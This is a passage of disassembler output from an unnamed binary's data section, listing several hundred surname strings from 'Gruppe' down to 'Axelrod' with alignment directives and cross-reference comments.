aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042E350o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042E34Co
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042E348o
		align 10h
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042E344o
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042E340o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042E33Co
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042E338o
		align 10h
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042E334o
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042E330o
		align 10h
aGoody		db 'Goody',0            ; DATA XREF: ___:0042E32Co
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042E328o
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042E324o
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042E320o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042E31Co
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042E318o
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042E314o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042E310o
aGist		db 'Gist',0             ; DATA XREF: ___:0042E30Co
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042E308o
		align 10h
aGill		db 'Gill',0             ; DATA XREF: ___:0042E304o
		align 4
aGili		db 'Gili',0             ; DATA XREF: ___:0042E300o
		align 10h
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042E2FCo
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042E2F8o
		align 10h
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042E2F4o
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042E2F0o
		align 10h
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042E2ECo
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042E2E8o
		align 10h
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042E2E4o
		align 4
aGeller		db 'Geller',0           ; DATA XREF: ___:0042E2E0o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042E2DCo
aGarman		db 'Garman',0           ; DATA XREF: ___:0042E2D8o
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042E2D4o
		align 10h
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042E2D0o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042E2CCo
		align 10h
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042E2C8o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042E2C4o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042E2C0o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042E2BCo
		align 4
aFurth		db 'Furth',0            ; DATA XREF: ___:0042E2B8o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042E2B4o
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042E2B0o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: ___:0042E2ACo
		align 10h
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042E2A8o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042E2A4o
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042E2A0o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042E29Co
		align 4
aFried		db 'Fried',0            ; DATA XREF: ___:0042E298o
		align 10h
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042E294o
		align 4
aFreid		db 'Freid',0            ; DATA XREF: ___:0042E290o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042E28Co
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042E288o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042E284o
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042E280o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042E27Co
		align 10h
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042E278o
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042E274o
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042E270o
		align 4
aForester	db 'Forester',0         ; DATA XREF: ___:0042E26Co
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042E268o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: ___:0042E264o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042E260o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042E25Co
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042E258o
		align 10h
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042E254o
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042E250o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042E24Co
aFink		db 'Fink',0             ; DATA XREF: ___:0042E248o
		align 4
aField		db 'Field',0            ; DATA XREF: ___:0042E244o
		align 10h
aFido		db 'Fido',0             ; DATA XREF: ___:0042E240o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042E23Co
		align 10h
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042E238o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042E234o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042E230o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042E22Co
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042E228o
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042E224o
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042E220o
		align 4
aFates		db 'Fates',0            ; DATA XREF: ___:0042E21Co
		align 10h
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042E218o
		align 4
aFarren		db 'Farren',0           ; DATA XREF: ___:0042E214o
		align 10h
aFarone		db 'Farone',0           ; DATA XREF: ___:0042E210o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: ___:0042E20Co
		align 10h
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042E208o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042E204o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042E200o
		align 10h
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042E1FCo
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042E1F8o
aEverett	db 'Everett',0          ; DATA XREF: ___:0042E1F4o
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042E1F0o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042E1ECo
		align 4
aEstes		db 'Estes',0            ; DATA XREF: ___:0042E1E8o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042E1E4o
		align 10h
aErez		db 'Erez',0             ; DATA XREF: ___:0042E1E0o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042E1DCo
		align 10h
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042E1D8o
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042E1D4o
		align 10h
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042E1D0o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042E1CCo
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042E1C8o
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042E1C4o
		align 10h
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042E1C0o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042E1BCo
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042E1B8o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042E1B4o
aEdward		db 'Edward',0           ; DATA XREF: ___:0042E1B0o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: ___:0042E1ACo
		align 10h
aEdley		db 'Edley',0            ; DATA XREF: ___:0042E1A8o
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042E1A4o
		align 10h
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042E1A0o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042E19Co
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042E198o
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042E194o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042E190o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042E18Co
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042E188o
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042E184o
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042E180o
		align 10h
aDoug		db 'Doug',0             ; DATA XREF: ___:0042E17Co
		align 4
aDoty		db 'Doty',0             ; DATA XREF: ___:0042E178o
		align 10h
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042E174o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042E170o
		align 10h
aDore		db 'Dore',0             ; DATA XREF: ___:0042E16Co
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042E168o
		align 10h
aDonner		db 'Donner',0           ; DATA XREF: ___:0042E164o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042E160o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042E15Co
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042E158o
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042E154o
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042E150o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042E14Co
		align 10h
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042E148o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042E144o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042E140o
		align 10h
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042E13Co
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042E138o
		align 10h
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042E134o
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042E130o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042E12Co
aDenham		db 'Denham',0           ; DATA XREF: ___:0042E128o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042E124o
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042E120o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042E11Co
		align 10h
aDeming		db 'Deming',0           ; DATA XREF: ___:0042E118o
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042E114o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042E110o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042E10Co
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042E108o
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042E104o
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042E100o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042E0FCo
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042E0F8o
		align 10h
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042E0F4o
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042E0F0o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042E0ECo
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042E0E8o
aDavid		db 'David',0            ; DATA XREF: ___:0042E0E4o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042E0E0o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042E0DCo
		align 4
aDas		db 'Das',0              ; DATA XREF: ___:0042E0D8o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042E0D4o
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042E0D0o
		align 10h
aDante		db 'Dante',0            ; DATA XREF: ___:0042E0CCo
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042E0C8o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042E0C4o
aDaly		db 'Daly',0             ; DATA XREF: ___:0042E0C0o
		align 10h
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042E0BCo
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042E0B8o
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042E0B4o
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042E0B0o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042E0ACo
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042E0A8o
aCui		db 'Cui',0              ; DATA XREF: ___:0042E0A4o
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042E0A0o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042E09Co
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042E098o
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042E094o
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042E090o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042E08Co
aCounter	db 'Counter',0          ; DATA XREF: ___:0042E088o
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042E084o
		align 10h
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042E080o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042E07Co
		align 10h
aConnors	db 'Connors',0          ; DATA XREF: ___:0042E078o
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042E074o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042E070o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042E06Co
		align 4
aCompton	db 'Compton',0          ; DATA XREF: ___:0042E064o
					; ___:0042E068o
aCollis		db 'Collis',0           ; DATA XREF: ___:0042E060o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: ___:0042E05Co
aColella	db 'Colella',0          ; DATA XREF: ___:0042E058o
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042E054o
aCoito		db 'Coito',0            ; DATA XREF: ___:0042E050o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042E04Co
aClow		db 'Clow',0             ; DATA XREF: ___:0042E048o
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042E044o
aClement	db 'Clement',0          ; DATA XREF: ___:0042E040o
aClark		db 'Clark',0            ; DATA XREF: ___:0042E03Co
		align 10h
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042E038o
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042E034o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042E030o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042E02Co
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042E028o
		align 10h
aChurch		db 'Church',0           ; DATA XREF: ___:0042E024o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042E020o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042E01Co
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042E018o
aChristie	db 'Christie',0         ; DATA XREF: ___:0042E014o
		align 10h
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042E010o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: ___:0042E00Co
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042E008o
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042E004o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042E000o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042DFFCo
		align 10h
aChildress	db 'Childress',0        ; DATA XREF: ___:0042DFF8o
		align 4
aChien		db 'Chien',0            ; DATA XREF: ___:0042DFF4o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042DFF0o
		align 10h
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042DFECo
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042DFE8o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042DFE4o
		align 4
aCharles	db 'Charles',0          ; DATA XREF: ___:0042DFE0o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042DFDCo
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042DFD8o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042DFD4o
		align 10h
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042DFD0o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042DFCCo
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042DFC8o
		align 10h
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042DFC4o
		align 4
aCase		db 'Case',0             ; DATA XREF: ___:0042DFC0o
		align 10h
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042DFBCo
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042DFB8o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042DFB4o
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042DFB0o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042DFACo
		align 10h
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042DFA8o
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042DFA4o
		align 10h
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042DFA0o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042DF9Co
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042DF98o
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042DF94o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042DF90o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042DF8Co
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042DF88o
		align 10h
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042DF84o
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042DF80o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042DF7Co
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042DF78o
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042DF74o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042DF70o
		align 4
aCage		db 'Cage',0             ; DATA XREF: ___:0042DF6Co
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042DF68o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042DF64o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042DF60o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042DF5Co
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042DF58o
		align 10h
aBurke		db 'Burke',0            ; DATA XREF: ___:0042DF54o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042DF50o
		align 10h
aBurden		db 'Burden',0           ; DATA XREF: ___:0042DF4Co
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042DF48o
		align 10h
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042DF44o
aBudding	db 'Budding',0          ; DATA XREF: ___:0042DF40o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042DF3Co
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042DF38o
aBrook		db 'Brook',0            ; DATA XREF: ___:0042DF34o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: ___:0042DF30o
		align 10h
aBritz		db 'Britz',0            ; DATA XREF: ___:0042DF2Co
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042DF28o
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042DF24o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042DF20o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042DF18o
					; ___:0042DF1Co
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042DF14o
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042DF10o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: ___:0042DF0Co
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042DF08o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042DF04o
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042DF00o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042DEFCo
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042DEF8o
		align 10h
aBoym		db 'Boym',0             ; DATA XREF: ___:0042DEF4o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042DEF0o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042DEECo
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042DEE8o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042DEE4o
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042DEE0o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042DEDCo
		align 10h
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042DED8o
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042DED4o
		align 10h
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042DED0o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042DECCo
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042DEC8o
		align 4
aBorden		db 'Borden',0           ; DATA XREF: ___:0042DEC4o
		align 10h
aBorack		db 'Borack',0           ; DATA XREF: ___:0042DEC0o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042DEBCo
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042DEB8o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042DEB4o
		align 4
aBook		db 'Book',0             ; DATA XREF: ___:0042DEB0o
		align 10h
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042DEACo
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042DEA8o
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042DEA4o
		align 10h
aBoner		db 'Boner',0            ; DATA XREF: ___:0042DEA0o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042DE9Co
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042DE98o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042DE94o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042DE90o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042DE8Co
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042DE88o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042DE84o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042DE80o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042DE7Co
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042DE78o
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042DE74o
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042DE70o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042DE6Co
		align 10h
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042DE68o
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042DE64o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042DE60o
		align 10h
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042DE5Co
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042DE58o
		align 10h
aBir		db 'Bir',0              ; DATA XREF: ___:0042DE54o
aBinion		db 'Binion',0           ; DATA XREF: ___:0042DE50o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042DE4Co
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042DE48o
		align 10h
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042DE44o
aBetti		db 'Betti',0            ; DATA XREF: ___:0042DE40o
		align 10h
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042DE3Co
		align 10h
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042DE38o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042DE34o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042DE30o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042DE2Co
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042DE28o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042DE24o
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042DE20o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042DE1Co
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042DE18o
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042DE14o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042DE10o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042DE0Co
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042DE08o
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042DE04o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042DE00o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042DDFCo
aBeder		db 'Beder',0            ; DATA XREF: ___:0042DDF8o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042DDF4o
aBean		db 'Bean',0             ; DATA XREF: ___:0042DDF0o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: ___:0042DDECo
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042DDE8o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042DDE4o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042DDE0o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042DDDCo
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042DDD8o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042DDD4o
		align 10h
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042DDD0o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042DDCCo
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042DDC8o
		align 10h
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042DDC4o
aBarry		db 'Barry',0            ; DATA XREF: ___:0042DDC0o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042DDBCo
		align 10h
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042DDB8o
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042DDB4o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042DDB0o
		align 10h
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042DDACo
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042DDA8o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042DDA4o
		align 10h
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042DDA0o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042DD9Co
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042DD98o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042DD94o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042DD90o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042DD8Co
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042DD88o
		align 10h
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042DD84o
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042DD80o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042DD7Co
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042DD78o
aBady		db 'Bady',0             ; DATA XREF: ___:0042DD74o
		align 4
aBackus		db 'Backus',0           ; DATA XREF: ___:0042DD70o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042DD6Co
		align 10h
aAzima		db 'Azima',0            ; DATA XREF: ___:0042DD68o
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042DD64o
		align 10h
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042DD60o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042DD5Co
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042DD58o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042DD54o
